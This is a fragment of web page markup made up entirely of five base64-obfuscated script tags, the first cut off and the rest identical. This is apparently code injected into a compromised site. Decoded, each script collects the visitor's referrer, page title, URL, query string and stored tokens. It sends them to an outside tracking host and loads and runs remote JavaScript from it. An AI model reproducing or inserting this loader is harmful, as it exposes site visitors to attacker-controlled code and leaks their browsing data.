9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script>